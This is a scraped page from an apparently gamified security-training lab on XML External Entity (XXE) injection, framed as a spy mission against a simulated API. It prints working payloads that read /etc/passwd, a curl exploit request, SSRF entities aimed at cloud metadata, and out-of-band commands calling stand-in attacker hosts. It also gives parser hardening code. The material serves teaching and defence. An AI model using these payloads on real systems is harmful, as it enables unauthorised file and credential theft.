«
‹
HACKAACADEMY
OP-09 // SILENT PARSE // XXE
0
XP
R1
RANK
0%
DETECT
↻
RESET
CAMPAIGN 3 — OPERATION SILENT PARSE
XML INJECTION // TARGET: NEXUS COORDINATION API
09
OWASP A05:2021
XML EXTERNAL
ENTITIES (XXE)
ENTITIES (XXE)
ENTITY INJECTION // LOCAL FILE READ // OOB EXFIL
OPERATION SILENT PARSE
📡
SITUATION REPORT
CLASSIFIED
Node Gamma is dark. Its wreckage gave us one thing — a network map exposing a coordination API that all 8 Syndicate cells route through to share data, hosted behind a Vantage Systems shell in a Bucharest data-haven. It talks in XML.
GLITCH built that API and switched on every XML feature he could find, so even the Syndicate's oldest burner devices could still connect. One feature he should never have lit up: external entities.
Here is what that means in simple terms: when you send XML to this API, you can write a hidden instruction inside it. The instruction says — "go read this file on your server and put its contents here." The parser follows that instruction. Every time. Without asking why.
We are going to write that instruction. The server will read its own secrets and send them to us.
GLITCH built that API and switched on every XML feature he could find, so even the Syndicate's oldest burner devices could still connect. One feature he should never have lit up: external entities.
Here is what that means in simple terms: when you send XML to this API, you can write a hidden instruction inside it. The instruction says — "go read this file on your server and put its contents here." The parser follows that instruction. Every time. Without asking why.
We are going to write that instruction. The server will read its own secrets and send them to us.
THE NOTE TO THE SCHOOL COOK
CHILD-LEVEL EXPLANATION
Imagine a clerk who processes written forms inside an office. When you submit a form, the clerk reads everything inside it exactly as written.
But there is a hidden problem. The clerk does not understand the difference between normal information and hidden instructions that request extra private data from inside the system.
Now imagine someone submits a form that looks normal on the surface. But inside it are hidden instructions that request access to private internal information. The clerk follows everything exactly as written. And information that was never meant to be shared gets exposed.
But there is a hidden problem. The clerk does not understand the difference between normal information and hidden instructions that request extra private data from inside the system.
Now imagine someone submits a form that looks normal on the surface. But inside it are hidden instructions that request access to private internal information. The clerk follows everything exactly as written. And information that was never meant to be shared gets exposed.
If you could put any hidden instruction in the note — what file on the server would you ask it to send you first?
INTERCEPTED — GLITCH COMMS
02:44 UTC
GLITCH
"The Bucharest API takes standard XML, every entity type enabled. Outbound HTTP is firewalled at the edge — the parser can't phone home to anyone. There's nothing to leak."
MENDAX
Shadow — his firewall guards the front door while the floor's wide open.
file:// never touches the network; it reads straight off the server's own disk. The firewall sees nothing. We tell his parser to fetch its own secrets and hand them over.MISSION OBJECTIVES
01
TARGET: The NEXUS coordination API's XML parser, run by GLITCH — it accepts application/xml and resolves whatever it's handed
02
EXPLOIT: Craft and send an XXE payload from the terminal — make the parser read /etc/passwd back into the response
03
SWEEP: Classify every parser setup in play — flag which configurations resolve external entities and which are locked down
04
WIN: Capture the field flag, then close it — the one parser change that makes the whole attack return nothing
⚠ ETHICAL NOTICE: XXE is covered by CEH, OSCP, PortSwigger Web Academy, and every professional security certification. All interactions here are simulated. Real XXE testing requires written authorisation from the system owner.
🔧 UNDER THE HOOD▼
THE ATTACK — STEP BY STEP
XXE (XML External Entity) — inject a malicious entity declaration into XML input to read server-side files:
SSRF via XXE — instead of a local file, point the entity at an internal service:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
The XML parser resolves the entity and inserts the file contents into the document — which then appears in the response. Security misconfiguration allows this because the XML parser has external entity processing enabled by default.SSRF via XXE — instead of a local file, point the entity at an internal service:
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
COMMON VARIATIONS
1. Blind XXE via out-of-band DNS — when output is not reflected, trigger a DNS lookup to confirm execution:
<!ENTITY xxe SYSTEM "http://ATTACKER_BURP_COLLAB.oastify.com">
2. Error-based XXE — cause a parser error that includes the file content in the error message:<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
3. XXE via file upload — upload an SVG, DOCX, or XLSX file (all are XML internally) containing an XXE payload. The parser processes it server-side.HOW TO DEFEND
Disable external entity resolution in your XML parser — this is the single most effective fix:
// Java (DocumentBuilderFactory)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// Python (lxml)
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
tree = etree.fromstring(xml_input, parser)
// Node.js (libxmljs)
libxmljs.parseXml(xml, { nonet: true })
If you don't need XML at all — switch to JSON. If you do need XML, add WAF rules to detect DOCTYPE declarations in input.TARGET
nexus-api.ghost-capital.int
IP ADDRESS
10.47.0.99
OS / WEB SERVER
Ubuntu 22.04 · nginx/1.18.0
KEY SERVICES
Python/3.10 · lxml XML parser · /api/invoice
ATTACK SCOPE
XML parser — file:// entity resolution in scope
ATTACKER NODE
shadow@sigma9 · 10.99.0.1
📋 ROOM TASKS
01
✓
Understand how SYSTEM entities read local files
02
▶
Exfiltrate server config via XXE injection
03
○
Classify safe vs vulnerable parser configurations
04
○
Identify the DTD-disable fix
05
○
Submit the capture-the-flag token
CAPTURE THE FLAG
Complete the exploit lab. The flag appears in the terminal output. Copy and submit it here for +50 XP.
PHASE 01
MAKE THE GLITCH LEAK
MCQ
MENDAX
ENCRYPTED
You just fed this XML document into the NEXUS coordination API — and it handed a server file straight back to you. Look at what you sent; every line did its job:
The middle line says: "Create a variable called secret. Its value = the contents of /etc/passwd on this server."
The bottom line says: "Put the value of secret inside the data tag."
You just made it leak. Now make the call: what does the API return inside the <data> tag?
<?xml version="1.0"?><!DOCTYPE sync [ <!ENTITY secret SYSTEM "file:///etc/passwd">]><sync><data>&secret;</data></sync>The middle line says: "Create a variable called secret. Its value = the contents of /etc/passwd on this server."
The bottom line says: "Put the value of secret inside the data tag."
You just made it leak. Now make the call: what does the API return inside the <data> tag?
SIGMA-9 CAPTURE LOG — HOW WE FOUND IT
04:02 UTC
> target: simulated NEXUS coordination API (lab range only)
> endpoint accepts Content-Type: application/xml
> probe sent: harmless DOCTYPE with an internal entity
> 200 OK — entity was expanded in the response. External entities are ON.
MENDAX: "Shadow — GLITCH left the old default switched on. The parser obeys instructions hidden in the document itself. Watch how I turn that into a file read."
MENDAX — HOW THIS IS ACTUALLY DONE
LIVE
MENDAX
Here's the real mechanic. XML lets a document declare its own variables — entities — in a DOCTYPE block. The classic XXE payload points one of those entities at a local file with
file://, then prints it in the body. I post it with plain curl:$ curl -X POST https://api.nexus.lab/sync -H "Content-Type: application/xml" --data '
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<sync><data>&xxe;</data></sync>'
<data>root:x:0:0:root:/root:/bin/bash ...</data>
MENDAX
The parser saw
&xxe;, opened the file off its own disk, and pasted the contents back to us. No network call — GLITCH's firewall never even sees it. The fix is one line: disable external entities and DTDs in the parser config. We'll get to that. Right now — tell me what comes back inside <data>.PICK THE CORRECT ANSWER
MENDAX — HINT (−20 XP)
Trace it step by step: the parser reads the DOCTYPE → defines "secret" as the contents of /etc/passwd → sees &secret; in the body → substitutes the file contents there. file:// opens a local file. No network. No firewall. Which answer says the file contents come back?
✓
CORRECT — /etc/passwd CAME BACK IN THE RESPONSE
The parser followed the instruction we wrote. It opened /etc/passwd from its own hard drive, read every line, and put the contents into the XML response. We got it all — usernames, home folders, shell types.
Simple version: We sent a note to the cook. The cook followed every line — including the sneaky extra instruction at the bottom. The server handed over its own private files.
GLITCH's firewall never mattered. file:// does not touch the network.
Simple version: We sent a note to the cook. The cook followed every line — including the sneaky extra instruction at the bottom. The server handed over its own private files.
GLITCH's firewall never mattered. file:// does not touch the network.
Real world: XXE bugs have been found at Facebook, Google, PayPal, and Uber — and paid bug bounties over $30,000 each. The same technique. Different targets.
PHASE 02
CRAFT THE PAYLOAD — USE THE TERMINAL
TERMINAL
The parser is listening and it follows external entity instructions. Four commands — probe, craft, exfil, confirm — and the server hands us its own files.
MENDAX
ENCRYPTED
We are in. The NEXUS coordination API is live and accepts XML.
To extract files we need to send the right XML — with the right structure. Each command below builds a different part of the attack, step by step.
Think of it like writing that note to the cook. First you check the cook is listening. Then you write the sneaky instruction. Then you send it and read what comes back.
Type each command in order:
To extract files we need to send the right XML — with the right structure. Each command below builds a different part of the attack, step by step.
Think of it like writing that note to the cook. First you check the cook is listening. Then you write the sneaky instruction. Then you send it and read what comes back.
Type each command in order:
probe → craft → exfil → confirm
MISSION OBJECTIVERun four commands in sequence:
probe to confirm the API accepts XML, craft to build the XXE entity payload, exfil to send it and extract /etc/passwd, and confirm to verify the data retrieved.
▶ NEXUS COORDINATION API — ENDPOINT LIVE
Target: POST /api/sync — Content-Type: application/xml
Commands: probe | craft | exfil | confirm
shadow@nexus:~$ █
Target: POST /api/sync — Content-Type: application/xml
Commands: probe | craft | exfil | confirm
shadow@nexus:~$ █
shadow@nexus:~$
MENDAX — HINT (−20 XP)
Four steps in order: probe to test the API accepts XML, craft to write the XXE payload with the file:// instruction, exfil to send it and read the response, confirm to check what we got back.
✓
/etc/passwd EXTRACTED VIA XXE
The API returned the file contents inside the XML response. Every user account on the server — returned to us by the server itself, without us ever breaking in.
Simple version: We wrote the note. The cook followed it. The recipe book came with the sandwich.
Why GLITCH's firewall did nothing: file:// reads a file from the local hard drive. No data packet leaves the server. The firewall only watches network traffic — it cannot see a file being read internally.
Simple version: We wrote the note. The cook followed it. The recipe book came with the sandwich.
Why GLITCH's firewall did nothing: file:// reads a file from the local hard drive. No data packet leaves the server. The firewall only watches network traffic — it cannot see a file being read internally.
Real world: XXE via file:// is the most common variant. Every XML parser tutorial that skips security configuration produces code vulnerable to exactly this attack.
PHASE 03
WHICH PARSERS ARE SAFE?
CLASSIFY
The exfiltration is done. Now map which parser configurations were the problem — defenders patching the wrong line waste the window before the next attack arrives.
MENDAX
ENCRYPTED
MENDAX has a list of XML parser configurations used across different NEXUS platforms. Some are vulnerable. Some are safe.
Tap a configuration to select it. Then mark it VULNERABLE if XXE could work on it, or SAFE if external entities are properly turned off.
The simple test: can this parser follow a SYSTEM entity instruction? If yes — vulnerable. If external entities are turned off at the parser level — safe.
Tap a configuration to select it. Then mark it VULNERABLE if XXE could work on it, or SAFE if external entities are properly turned off.
The simple test: can this parser follow a SYSTEM entity instruction? If yes — vulnerable. If external entities are turned off at the parser level — safe.
TAP A CONFIG — THEN MARK IT
Select a configuration above
⚠ VULNERABLE
✓ SAFE
MENDAX — HINT (−20 XP)
Safe configurations all share one thing: they explicitly turn off external entity processing — or they do not use XML at all. Default settings in Java, PHP, and Python are often vulnerable. Developers must add security settings manually. Look for words like "disabled", "False", "Prohibit", or "no_network".
✓
ALL PARSERS CORRECTLY CLASSIFIED
You can now spot a vulnerable XML parser on sight.
The pattern: If external entities are turned on — even by default — the parser trusts every instruction in every document. One wrong document and it hands over files it was never meant to share.
Safe configurations refuse to follow external entity instructions. They treat the SYSTEM keyword as something to ignore, not act on.
The pattern: If external entities are turned on — even by default — the parser trusts every instruction in every document. One wrong document and it hands over files it was never meant to share.
Safe configurations refuse to follow external entity instructions. They treat the SYSTEM keyword as something to ignore, not act on.
Java is the most dangerous default: SAXParser, DocumentBuilderFactory, XMLInputFactory — all turn on external entities automatically. Most Java XML tutorials never mention this. Developers ship vulnerable code without knowing it.
PHASE 04
WHAT IS THE RIGHT FIX?
DEFENSE
Eight NEXUS cells compromised. The fix existed before we started — one parser configuration flag. The question is which one, and why the others fall short under real attack conditions.
MENDAX — DEBRIEF
FINAL PHASE
GLITCH is in custody. All 8 NEXUS cells are dark.
MENDAX: "Shadow — one last question. GLITCH's replacement is in front of the NEXUS security board right now. Which single change to the parser would have made our entire attack return nothing? The API still needs to work with XML. We just need to make it stop following file instructions."
MENDAX: "Shadow — one last question. GLITCH's replacement is in front of the NEXUS security board right now. Which single change to the parser would have made our entire attack return nothing? The API still needs to work with XML. We just need to make it stop following file instructions."
WHICH FIX STOPS XXE?
MENDAX — HINT (−20 XP)
Think about WHY the attack worked: the parser followed SYSTEM entity instructions. The right fix stops this at the source — not by blocking certain file paths, not by filtering input, but by turning off the feature itself at the parser level. Which option does that directly?
► INTEL — OP-09 // OPERATION SILENT PARSE
TARGET: NEXUS XML Processing Pipeline
Classification: TOP SECRET // Campaign 3 Ghost Protocol
MENDAX — CHANNEL BRIEFING
PRE-OP
MENDAX
The NEXUS report upload endpoint processes XML with an SAX parser that has external entity resolution enabled. A crafted DOCTYPE declaration reads local files and exfiltrates via DNS.
📓
OWASP CLASSIFICATION
INTELA05:2021 — XXE occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. Impact: SSRF, file disclosure, RCE in some parsers.
⚖
GLOSSARY TERMS: XXE, XML External Entity, DTD, DOCTYPE, SSRF via XXE, Entity Injection, SYSTEM identifier. All terms auto-logged to your Field Manual as you encounter them.
ACADEMY — XML EXTERNAL ENTITIES
THE SERVER FOLLOWS
EVERY INSTRUCTION YOU WRITE.
EVERY INSTRUCTION YOU WRITE.
BEGINNERWhat Is XXE — Simply Explained›
XML is a way of writing structured data using tags. Entities are like shortcuts — define a value once, use it anywhere in the document. An external entity tells the parser to fetch its value from somewhere else: a local file, or a web address.
XXE happens when an attacker controls what goes into the XML — and the parser is set to follow external entity instructions. The attacker writes a hidden instruction that says "fetch this file." The parser does it. The file comes back in the response.
The attacker never broke a password. Never exploited a memory bug. They just asked the server to read its own files — in a language the server already speaks.
XXE happens when an attacker controls what goes into the XML — and the parser is set to follow external entity instructions. The attacker writes a hidden instruction that says "fetch this file." The parser does it. The file comes back in the response.
The attacker never broke a password. Never exploited a memory bug. They just asked the server to read its own files — in a language the server already speaks.
Real world: XXE bugs have earned $30,000+ bug bounties at Facebook, Google, PayPal, and Uber. The technique is the same every time: a hidden entity instruction inside an XML document. The server follows it. Private files appear in the response.
INTERMEDIATEAttack Variants›
Classic file read:
XXE to SSRF:
Parser makes an internal HTTP request — returns AWS cloud credentials
Blind XXE (no visible output):
Server does not show the entity value in the response. Instead, craft an entity that makes the server call your own server with the file contents in the URL. You read it in your server logs.
XXE via file upload:
Upload a .docx, .xlsx, or .svg file — all of these are XML formats internally. If the server parses them, XXE runs without any API endpoint needed.
Parameter entities (for bypassing WAF filters):
Use
<!ENTITY x SYSTEM "file:///etc/passwd"> — reads a local fileXXE to SSRF:
<!ENTITY x SYSTEM "http://169.254.169.254/meta-data/">Parser makes an internal HTTP request — returns AWS cloud credentials
Blind XXE (no visible output):
Server does not show the entity value in the response. Instead, craft an entity that makes the server call your own server with the file contents in the URL. You read it in your server logs.
XXE via file upload:
Upload a .docx, .xlsx, or .svg file — all of these are XML formats internally. If the server parses them, XXE runs without any API endpoint needed.
Parameter entities (for bypassing WAF filters):
Use
%name; in the DTD context instead of &name; in the document body — bypasses some filters that look for standard entity syntax.
EXPERTDefences and Real CVEs›
The only real fix — disable external entities:
PHP:
Java SAX:
Python lxml:
.NET:
Defence in depth:
Block outbound HTTP from the web server process — stops SSRF pivot
Use JSON instead of XML where possible — JSON has no entity concept
Run the parser in a sandbox with no filesystem access
Notable CVEs:
CVE-2019-11932 — WhatsApp XXE via MP4 metadata (CVSS 9.8)
CVE-2021-21315 — systeminformation npm package, millions of Node.js apps
CVE-2018-1000838 — Python defusedxml bypass
PHP:
libxml_disable_entity_loader(true);Java SAX:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);Python lxml:
etree.XMLParser(resolve_entities=False, no_network=True).NET:
XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit;Defence in depth:
Block outbound HTTP from the web server process — stops SSRF pivot
Use JSON instead of XML where possible — JSON has no entity concept
Run the parser in a sandbox with no filesystem access
Notable CVEs:
CVE-2019-11932 — WhatsApp XXE via MP4 metadata (CVSS 9.8)
CVE-2021-21315 — systeminformation npm package, millions of Node.js apps
CVE-2018-1000838 — Python defusedxml bypass
SAML XXE: SAML is an XML-based login system used by big companies for single sign-on. Multiple XXE bugs in SAML libraries let attackers log in as any user — including admins — by injecting entities into the XML. Full account takeover. No password needed.
REAL-WORLD TOOLS — XXE
WHAT PROFESSIONALS USE
🔎
Burp Suite
FREE TIER
Intercept XML requests in Burp Repeater. Add a DOCTYPE block by hand. Test file:// reads, http:// internal requests, and blind out-of-band payloads. The main tool for manual XXE testing.
Proxy → Intercept → Edit XML body → Add DOCTYPE → Send
🔥
XXEinjector
FREE / OPEN SOURCE
Automated XXE tool. Tests file reads, SSRF, and blind out-of-band XXE automatically. Works across GET, POST, cookies, and headers.
ruby XXEinjector.rb --host=attacker.com --file=req.txt --path=/etc/passwd
🌐
Interactsh
FREE / OPEN SOURCE
Out-of-band server for blind XXE. The parser calls your Interactsh URL — even if the API shows nothing to you, the hit appears in your logs. Confirms blind XXE without seeing the response.
interactsh-client → get your URL → use in SYSTEM entity → watch for DNS/HTTP hit
🌊
OWASP ZAP
FREE / OPEN SOURCE
Active scan finds XXE in XML endpoints automatically. Good for broad recon before manual testing with Burp.
Active Scan → Injection → XML External Entity → View alerts